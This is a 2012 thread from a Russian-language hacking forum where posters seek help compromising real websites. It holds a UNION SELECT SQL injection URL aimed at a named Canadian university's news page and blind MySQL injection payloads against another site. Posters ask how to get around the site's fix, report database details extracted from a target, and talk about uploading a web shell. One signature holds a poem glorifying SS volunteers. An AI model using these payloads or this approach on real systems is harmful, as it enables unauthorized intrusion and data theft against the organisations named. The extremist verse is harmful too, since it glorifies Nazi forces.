ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
22.06.2012, 16:41
|
|
Новичок
Регистрация: 30.12.2008
Сообщений: 3
Провел на форуме:
58906
Репутация:
0
|
|
Сообщение от HAXTA4OK
HAXTA4OK said:
задавая вопрос, подумай какой будет ответ....а что тебе нужно?
Конечно же, залить полноценный шелл.
|
|
|
22.06.2012, 16:45
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210
Репутация:
2017
|
|
Сообщение от Jorge_
Jorge_ said:
Конечно же, залить полноценный шелл.
ну так в чем проблема то? в отключенных я не вижу фун-ии eval
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|
|
22.06.2012, 21:02
|
|
Новичок
Регистрация: 01.12.2008
Сообщений: 26
Провел на форуме:
143670
Репутация:
10
|
|
http://www.umoncton.ca/nouvelles/info.php?id=8297-2
http://www.umoncton.ca/nouvelles/info.php?id=8297+union+select+1,2,3,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37,38,39
Здесь была классическая sql-inj , но некоторое время назад произошли какие-то изменения и скуля не работает как раньше. Не могу въехать что конкретно за изменения произошли. Кто может разобраться в чем дело? Ну и конечно как это дело обойти?
|
|
|
|
22.06.2012, 22:16
|
|
Guest
Сообщений: n/a
Провел на форуме:
7074
Репутация:
0
|
|
Собственно нид хелп...
Кручу один сайтец.
Собственно там mysql blind
Вот такими запросами вытащил имя базы/имя юзверя.
3183' /*!30000and ascii(substring((database()),7,1))=97 and*/ 'x'='x
А теперь вопрос:
3183' /*!30000and Length((select distinct schema_name from `information_schema`.schemata limit 0,1))
|
|
|
|
22.06.2012, 23:29
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
to RuDefc0n
[CODE]
Code:
length(select schema_name from information_schema.schemata limit 0,1)
|
|
|
|
22.06.2012, 23:40
|
|
Guest
Сообщений: n/a
Провел на форуме:
7074
Репутация:
0
|
|
[QUOTE="cat1vo"]
cat1vo said:
to
RuDefc0n
[CODE]
Code:
length(select schema_name from information_schema.schemata limit 0,1)
|
|
|
|
23.06.2012, 00:08
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
to Dr.Strangelove
Все отлично работает -
Version: 5.5.20
User: php_read@
Database: nouvelles
|
|
|
|
23.06.2012, 01:43
|
|
Guest
Сообщений: n/a
Провел на форуме:
103014
Репутация:
76
|
|
[QUOTE="RuDefc0n"]
RuDefc0n said:
Собственно нид хелп...
Кручу один сайтец.
Собственно там mysql blind
Вот такими запросами вытащил имя базы/имя юзверя.
3183' /*!30000and ascii(substring((database()),7,1))=97 and*/ 'x'='x
А теперь вопрос:
3183' /*!30000and Length((select distinct schema_name from `information_schema`.schemata limit 0,1))
|
|
|
|
23.06.2012, 01:49
|
|
Новичок
Регистрация: 12.08.2009
Сообщений: 1
Провел на форуме:
11937
Репутация:
0
|
|
to Га-Ноцри
Там версия 5.0.92, только вот у пользователя нет доступа к information_schema, в этом то вся и загвоздка была!
|
|
|
|
23.06.2012, 01:52
|
|
Guest
Сообщений: n/a
Провел на форуме:
103014
Репутация:
76
|
|
Сообщение от cat1vo
cat1vo said:
to
Га-Ноцри
Там версия 5.0.92, только вот у пользователя нет доступа к information_schema, в этом то вся и загвоздка была!
Ясно Ну я так, на всякий случай спросил Просто иногда бывает тяжело искать темную кошку в темной комнате, особенно если ее там нет
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
